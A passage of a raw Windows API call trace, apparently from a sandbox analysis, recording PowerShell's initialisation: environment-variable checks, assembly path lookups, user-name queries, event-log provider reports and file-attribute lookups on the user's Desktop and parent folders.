CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.853] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.853] CoTaskMemFree (pv=0x3d68d0) [0043.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d070, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d070, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.855] CoTaskMemAlloc (cb=0x804) returned 0x1ba16e60 [0043.855] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.855] CoTaskMemFree (pv=0x1ba16e60) [0043.855] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.855] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.855] CoTaskMemFree (pv=0x393c20) [0043.856] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d0cdf8*="Function", lpRawData=0x3d0cb88) returned 1 [0043.858] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.858] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.858] CoTaskMemFree (pv=0x3d68d0) [0043.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.916] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.917] CoTaskMemFree (pv=0x1ba16e60) [0043.917] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.917] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.917] CoTaskMemFree (pv=0x393c20) [0043.917] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x32f8558*="Registry", lpRawData=0x32f82e8) returned 1 [0043.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.919] CoTaskMemAlloc (cb=0x804) returned 0x1ba16e60 [0043.919] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.919] CoTaskMemFree (pv=0x1ba16e60) [0043.919] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.919] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.920] CoTaskMemFree (pv=0x393c20) [0043.920] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x32fd920*="Variable", lpRawData=0x32fd6b0) returned 1 [0043.921] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.921] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.921] CoTaskMemFree (pv=0x3d68d0) [0043.924] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.924] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.924] CoTaskMemFree (pv=0x3d68d0) [0043.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0043.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0043.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0043.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0043.962] CoTaskMemAlloc (cb=0x804) returned 0x1ba18e60 [0043.962] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba18e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.962] CoTaskMemFree (pv=0x1ba18e60) [0043.962] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.962] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.962] CoTaskMemFree (pv=0x393c20) [0043.963] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33114e8*="Certificate", lpRawData=0x3311278) returned 1 [0043.967] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.967] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.967] CoTaskMemFree (pv=0x3d68d0) [0043.970] GetLogicalDrives () returned 0x4 [0043.970] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.970] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.970] CoTaskMemAlloc (cb=0x20e) returned 0x385440 [0043.971] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x385440 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0043.971] CoTaskMemFree (pv=0x385440) [0043.972] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.972] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.972] CoTaskMemFree (pv=0x3d68d0) [0043.972] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.972] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.972] CoTaskMemFree (pv=0x3d68d0) [0043.978] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.978] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.979] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.980] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.980] SetErrorMode (uMode=0x1) returned 0x1 [0043.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.980] SetErrorMode (uMode=0x1) returned 0x1 [0043.980] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.980] SetErrorMode (uMode=0x1) returned 0x1 [0043.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.980] SetErrorMode (uMode=0x1) returned 0x1 [0043.980] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.980] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.984] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.984] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d250, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.985] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.985] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0043.985] SetErrorMode (uMode=0x1) returned 0x1 [0043.985] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d250, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.986] SetErrorMode (uMode=0x1) returned 0x1 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\.", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d450 | out: lpFileInformation=0x24d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.987] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0043.987] SetErrorMode (uMode=0x1) returned 0x1 [0043.987] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24d290, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x24d180, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.988] SetErrorMode (uMode=0x1) returned 0x1 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\.", nBufferLength=0x105, lpBuffer=0x24d180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.989] SetErrorMode (uMode=0x1) returned 0x1 [0043.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, 